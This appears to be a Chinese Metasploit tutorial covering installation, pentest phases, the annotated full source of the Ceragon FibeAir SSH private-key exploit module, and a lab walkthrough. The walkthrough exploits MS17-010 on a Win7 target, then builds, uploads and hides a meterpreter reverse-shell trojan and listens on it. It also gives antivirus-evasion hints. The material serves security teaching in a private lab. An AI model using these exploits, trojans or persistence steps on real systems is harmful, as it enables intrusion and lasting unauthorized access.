目录
前言:
本文将介绍metasploit的基本使用方法和基础的渗透。
一、Metasploit工具
安装
在Linux获得metasploit-framework软件包,使用 apt 实用程序
apt install metasploit-framework
在CentOS/Redhat获得metasploit-framework软件包,使用yum实用程序
yum install metasploit-framework
确认安装是否成功
msfconsole
显示该页面则安装成功
确认版本信息
version
最好在使用前都更新一下metasploit版本如果该工具是旧的,那么更新的漏洞将不会添加到Metasploit框架的数据库中。
更新Metasploit
msfupdate
apt install meetasploit-framework
当Metasploit已经是Kali Linux更新版本中操作系统的一部分,msfupdate不适用
需要用apt install meetasploit-framework更新
二、渗透测试的基础知识
渗透的一些基本步骤
1、信息收集/侦察
收集的有关目标的信息越多,就越能更好地了解目标系统并在该过程的后面使用这些信息。
关键信息:开放端口、正在运行的服务等; 一般信息:域名注册信息等
工具:– nmap,zenmap,whois,nslookup,dig,maltego等,最常用的信息收集和扫描工具之一是网络映射器实用程序。
2、漏洞分析
分析目标的潜在漏洞以采取进一步措施。漏洞有级别划分,某些漏洞可能会让您完全访问系统,而有些漏洞可能只为您提供有关系统的一些正常信息,Metasploit提供了一个有用的数据库。
3、渗透
分析漏洞后需要利用漏洞,使用特定程序/漏洞来攻击具有漏洞的计算机。Metasploit框架提供了从数千种漏洞中进行选择的选项,并直接从 Metasploit 控制台使用它们。新的漏洞会定期更新并纳入Metasploit,除此自外,还可以从在线漏洞利用数据库添加一些其他漏洞,例如漏洞利用数据库。
但是并不是所有漏洞都是现成的,有一些漏洞需要自己设计来逃避安全系统和入侵检测系统。
4、渗透后
渗透完成后,可以访问系统,在这里可以决定如何处理系统。可能有权访问低权限用户,可以尝试提升权限,也可以在受害者机器上保留一个后门,以便以后随时进入系统。
5、报告
进行测试后,撰写有关要进行的测试和改进的详细报告。
三、Metasploit 框架的基础知识
1、Metasploit 框架模块
-
漏洞利用
Metasploit Framework上有一个大型的漏洞利用数据库。可以在数据库中搜索漏洞利用,并查看有关其工作方式、发现时间、有效性等信息。
-
有效载荷(攻击载荷)
实际是一段代码(填充数据)发送到服务器利用特定漏洞的代码获得shell。Metasploit Framework有很多有效载荷选项,最常用的是反向外壳、绑定外壳、仪表等。
-
辅助设备
不直接利用系统的程序,在Metasploit中提供自定义功能,如:嗅探器、端口扫描仪等,可以帮助扫描受害者计算机以进行信息收集。
-
编码器
编码器以威胁检测程序解释的方式加密代码,它们将在执行时自行解密并成为原始代码。但是,编码器是有限的,防病毒软件的数据库中已经有许多签名,仅使用编码器并不能保证防病毒规避。需要自行更改有效载荷防止被检测。
四、Metasploit框架的组成部分
关键组件
1. msfconsole
命令行界面,它能够轻松浏览所有Metasploit数据库并使用所需的模块。是获取Metasploit控制台的命令。
2.msfdb
Metasploit Framework提供的使用PostgreSQL数据库来快速有效地存储和访问数据的选项,如,可以在数据库中存储和组织扫描结果,以便以后访问它们。
3.msfvenom
该工具可以模仿其名称并帮助创建自己的有效载荷。为什么需要该工具,是因为有效负载可能会被检测为威胁,并被防病毒或反恶意软件等威胁检测软件删除。(发生这种情况是因为威胁检测系统已经存储了许多恶意负载的指纹)有一些方法可以逃避检测。
4. meterpreter
一个高级有效载荷,内置了许多功能,使用加密数据包进行通信。此外,它一旦进入系统,就很难跟踪和定位。它可以捕获屏幕截图,转储密码哈希等等。
MSF的六个模块
打开metasploit-framework目录
一般放在/usr/share/目录下
cd /usr/share/metasploit-framework
ls
发现有个moudles模块,打开
cd modules
ls
auxiliary #辅助模块(辅助设备)
encoders #编码器模块
evasion #免杀模块
exploits #渗透攻击模块(漏洞利用)
nops #空指令模块
payloads #攻击载荷模块(有效载荷)
post #后渗透攻击模块
五、漏洞分析
可以浏览库里所有漏洞,有效负载或其他漏洞,并查看其代码
cd exploits
ls
查看linux系统的漏洞
cd linux
ls
查看ssh的漏洞
cd ssh
ls
查看ceragon_fibeair_known_privkey.rb漏洞(漏洞使用ruby编写所以后缀是.rb)
cat ceragon_fibeair_known_privkey.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
#MetasploitModule < Msf::Exploit::Remote定义了一个Metasploit模块,它是一个远程漏洞利用模块。
class MetasploitModule < Msf::Exploit::Remote
#包括了报告功能
include Msf::Auxiliary::Report
#包括了ssh功能
include Msf::Exploit::Remote::SSH
#漏洞利用的评级
Rank = ExcellentRanking
#initialize函数中设置了模块的各种信息,如名称、描述、平台、目标、作者、许可证、参考链接、披露日期等。
def initialize(info = {})
super(
update_info(
info,
{
#漏洞名称
'Name' => 'Ceragon FibeAir IP-10 SSH Private Key Exposure',
#漏洞描述
'Description' => %q{
Ceragon ships a public/private key pair on FibeAir IP-10 devices
that allows passwordless authentication to any other IP-10 device.
Since the key is easily retrievable, an attacker can use it to
gain unauthorized remote access as the "mateidu" user.
},
#操作系统,linux是基于unix原理的操作系统
'Platform' => 'unix',
#指定了漏洞利用模块的目标架构,ARCH_CMD表示该模块执行的是命令行payload,而不是需要在目标系统上运行的二进制代码。这意味着模块将通过SSH执行命令,而不是上传和运行程序。
'Arch' => ARCH_CMD,
#利用成功后获得的权限级别,false,意味着模块不会尝试获取高权限,而是以普通用户权限执行。
'Privileged' => false,
#定义了模块可以攻击的目标系统,'Universal'通常意味着模块不特定于任何单一目标,而是适用于多个系统或平台。在这里,它带有一个空的对象{},表示没有特定的配置选项。
'Targets' => [ [ 'Universal', {} ] ],
#模块在成功利用漏洞后将在目标系统上执行的代码或命令。
'Payload' => {
'Compat' => {
#表明payload是一个交互式命令行,允许攻击者与目标系统的shell进行交互。
'PayloadType' => 'cmd_interact',
#意味着Metasploit框架将尝试自动找到与目标系统通信的方式,通常是反向或交互式shell。
'ConnectionType' => 'find'
}
},
#作者
'Author' => [
'hdm', # Discovery
'todb' # Metasploit module and advisory text (mostly copy-paste)
],
#许可证
'License' => MSF_LICENSE,
'References' => [
#是一种公开的漏洞数据库,用于标准化命名和跟踪信息安全领域的已知漏洞,CVE-年份-编号
['CVE', '2015-0936'],
#漏洞的参考文章的链接
['URL', 'https://gist.github.com/todb-r7/5d86ecc8118f9eeecc15'], # Original Disclosure
],
#披露时间
'DisclosureDate' => '2015-04-01', # Not a joke
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => []
}
}
)
)
#选项注册,注册了模块需要的参数
register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22)
], self.class
)
#注册高级选项
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
#辅助方法,获取目标主机
def rhost
datastore['RHOST']
end
#辅助方法,获取目标端口
def rport
datastore['RPORT']
end
#辅助方法尝试使用SSH公钥认证登录目标系统。
def do_login(user)
opt_hash = ssh_client_defaults.merge({
auth_methods: ['publickey'],
port: rport,
key_data: [ key_data ]
})
opt_hash.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
#设置了一个超时时间,如果在指定的时间内未能建立SSH连接,将引发一个Timeout::Error异常。
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
#尝试使用提供的选项和凭据建立SSH连接。如果成功,它将返回一个ssh_socket对象,该对象可以用于后续的命令执行和交互。
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
#这个异常处理块捕获了由Net::SSH库抛出的各种异常,并根据异常类型提供相应的错误消息。如果连接失败,它将打印一条错误消息并返回nil
rescue Rex::ConnectionError
return nil
#如果在SSH协商过程中连接断开,将打印一条错误消息"#{rhost}:#{rport} SSH - Disconnected during negotiation"。
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return nil
#如果在建立连接时发生超时,将打印一条错误消息。
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return nil
#如果认证失败,将打印一条错误消息。
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
return nil
#如果发生其他SSH异常,将打印异常的类和消息。
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return nil
end
#如果登录成功,则返回一个Net::SSH::CommandStream对象。
if ssh_socket
# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket)
ssh_socket = nil
return conn
else
return nil
end
end
#漏洞利用,
def exploit
#调用了do_login尝试以’mateidu’用户身份登录。
conn = do_login('mateidu')
#如果登录成功,则调用handler函数处理会话。
if conn
print_good "#{rhost}:#{rport} - Successful login"
handler(conn.lsock)
end
end
#私钥硬编码,硬编码了Ceragon FibeAir IP-10设备的默认私钥。这个私钥允许攻击者无需密码就能登录到任何其他IP-10设备。
def key_data
<<~EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQDBEh0OUdoiplc0P+XW8VPu57etz8O9eHbLHkQW27EZBEdXEYxr
MOFXi+PkA0ZcNDBRgjSJmHpo5WsPLwj/L3/L5gMYK+yeqsNu48ONbbqzZsFdaBQ+
IL3dPdMDovYo7GFVyXuaWMQ4hgAJEc+kk1hUaGKcLENQf0vEyt01eA/k6QIBIwKB
gQCwhZbohVm5R6AvxWRsv2KuiraQSO16B70ResHpA2AW31crCLrlqQiKjoc23mw3
CyTcztDy1I0stH8j0zts+DpSbYZnWKSb5hxhl/w96yNYPUJaTatgcPB46xOBDsgv
4Lf4GGt3gsQFvuTUArIf6MCJiUn4AQA9Q96QyCH/g4mdiwJBAPHdYgTDiQcpUAbY
SanIpq7XFeKXBPgRbAN57fTwzWVDyFHwvVUrpqc+SSwfzhsaNpE3IpLD9RqOyEr6
B8YrC2UCQQDMWrUeNQsf6xQer2AKw2Q06bTAicetJWz5O8CF2mcpVFYc1VJMkiuV
93gCvQORq4dpApJYZxhigY4k/f46BlU1AkAbpEW3Zs3U7sdRPUo/SiGtlOyO7LAc
WcMzmOf+vG8+xesCDOJwIj7uisaIsy1/cLXHdAPzhBwDCQDyoDtnGty7AkEAnaUP
YHIP5Ww0F6vcYBMSybuaEN9Q5KfXuPOUhIPpLoLjWBJGzVrRKou0WeJElPIJX6Ll
7GzJqxN8SGwqhIiK3wJAOQ2Hm068EicG5WQoS+8+KIE/SVHWmFDvet+f1vgDchvT
uPa5zx2eZ2rxP1pXHAdBSgh799hCF60eZZtlWnNqLg==
-----END RSA PRIVATE KEY-----
EOF
end
end
这个Metasploit模块利用了Ceragon FibeAir IP-10设备中一个已知的安全漏洞,通过使用硬编码的默认私钥,实现无需密码的SSH登录,从而获得设备的控制权。这是一个高危的安全风险,因为攻击者可以轻易地远程访问并控制设备。
补充:
漏洞利用评级
Ranking | Description |
ExcellentRanking | 绝对不会使目标服务崩溃,如SQL 注入,命令执行,远程文件包含,本地文件包含等等。 |
GreatRanking | 有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定于应用的返回地址。 |
GoodRanking | 有一个默认的目标系统,并且是这种类型软件的“常见情况” |
NormalRanking | 该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测。 |
AverageRanking | 该漏洞利用程序不可靠或者难以利用。 |
LowRanking | 对于通用的平台而言,该漏洞利用程序几乎不能利用(低于 50% 的利用成功率) |
ManualRanking | 该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS),或当一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级。 |
六、Metasploit Framework的基本命令
1、启动控制台
msfconsole
2、显示命令
show
获取命令及其函数的列表
show -h
列出所有漏洞
show exploits
列出所有编码器
show encoders
其他的模块也是同理
3、搜索内容
search
搜索samba工具
search samba
补充:
4、使用模块
use
使用samba里第一个模块
use exploit/unix/webapp/citrix_access_gateway_exec
#也可以直接指定模块编码
use 0
5、返回上一级
back
6、显示一个或者多个模块的信息
info
或
show info
查看当前exploit(漏洞)模块信息
7、查看模块的选项
查看当前模块的选项
options
或
show options
默认情况下,很多选项都已经填写完毕,可以修改他们或者保持不变;一些选项空着的就需要我们填写,如:RHOSTS那的Current Setting就需要我们填写目标的ip
8、设置选项
set
设置RHOSTS(ip)
set RHOSTS [目标ip]
set RHOSTS 192.168.222.1
查看选项
添加成功
设置payload
查看payloads
设置一个不是默认(cmd/unix/reverse_bash)的payload
set payload payload/cmd/unix/reverse_ssh
查看选项
设置成功
设置LPORT(端口)
set LPORT 6000
查看选项
设置成功
8、检查漏洞利用
check
该目标不易受该漏洞攻击,继续该攻击没有意义
七、实战渗透演练(了解步骤即可)
未经许可的渗透是违法的,最好渗透自己搭建的靶机.
1、目标识别
nmap -sn -PE -n 192.168.222.0/24
识别到五台存活主机
nmap -O 192.168.222.144
#一台一台识别操作系统找到目标靶机的操作系统
找到目标靶机win7的ip,并得到目标靶机开放的端口。
扩展:
MSRPC (MicroSoft Remote Procedure Call,微软远程过程调用) 是对 DCE/RPC 在 Windows 系统下的重新改进和实现,用以支持 Windows 系统中的应用程序能够无缝地通过网络调用远程主机上服务进程中的过程。
2、漏洞扫描
nmap -sV --script=vuln 192.168.222.144
#-sV:用于启用版本检测,以便Nmap尝试识别目标主机上每个开放端口的服务版本。
#--script=vuln:指定Nmap运行与漏洞有关的脚本,这些脚本可以检测常见的漏洞。
补充:
检测特定漏洞
nmap --script=vuln:CVE-2018-1000000 192.168.222.144 #nmap --script=vuln:[CVE编号] <target-ip>
相关链接:http://t.csdnimg.cn/nkezH
发现有一个ms17-010(永恒之蓝漏洞)
3、漏洞利用
msfconsole启动
查询漏洞
search ms17-010
选择模块
选择一个适用于靶机操作系统的模块
info 0
发现第一个就能影响到win7系统
use 0
查看选项
options
设置RHOSTS
set RHOSTS 192.168.222.144
#注意S不要漏了
选择攻击载荷
show payloads
set payload [载荷]
补充:
载荷的分类:
反弹式Shell(Stdlib::TCP::Reverse_LDR_Spawn):用于远程控制,通常适用于Windows和Linux系统。
绑定式Shell(Stdlib::TCP::Bind_Spawn):被动等待连接,通常适用于Windows和Linux系统。
Windows exe 攻击载荷:生成一个Windows可执行文件,需要目标机器启用执行权限。
Windows dll 攻击载荷:生成一个Windows动态链接库文件,需要目标机器配合。
Meterpreter 攻击载荷:功能强大的可以跨平台使用的攻击载荷,需要在目标系统上运行服务端。
常见:
- reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。
- bind_tcp:攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
- reverse_http:基于http方式的反向连接,在网速慢的情况下不稳定。
- reverse_https:基于https方式的反向连接,在网速慢的情况下不稳定。
这里我们用默认的reverse_tcp就可以。
设置攻击的目标系统
show targets
set target 1
开始攻击
记得要把防火墙和防护软件关掉
exploit
攻击成功
查看攻击载荷所提供的有效执行命令
得到shell
退出shell
4、监听
在用msfvenom生成木马程序
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.144 LPORT=4444 -f exe -o /home/lin/shell.exe
#-a(architecture):指定生成payload的目标架构为x86。
#-p(payload):指定要使用的payload,这里是一个针对Windows系统的Meterpreter反向TCP载荷。
#-f(file):指定输出格式为Windows可执行文件(EXE)。
#-o(origin)指定生成的payload的输出路径和文件名
上传到目标靶机
upload /home/lin/shell.exe C:\
#可以通过查看对方C盘目录将木马藏起来
成功传过去
将会话保存存后台
进入监听模块
use exploit/multi/handler
设置LHOST和payload
重新进入会话
sessions -i 2
重新进入shell并改变cmd活动代码页(字符编码)
chcp 65001
#将cmd的活动代码页(字符编码)改为UTF-8
运行木马程序
再次进入监听模块
set LHOST 192.168.222.132
#这是设置主机主机的ip
开始监听
run
再次得到shell
总结:
渗透思路很重要最开始的时候思路是扫端口通过服务和端口找漏洞但是这样需要去一个一个的搜索每一个漏洞影响的版本效率不高。
通过打了三次漏洞我自己认为基础渗透的思路应该是:
探测主机存活->得到目标靶机操作系统->扫漏(如果能力强可以手动扫漏扫到0day漏洞)->漏洞利用->留后门监听(方便再次访问,注意:要记得保存session)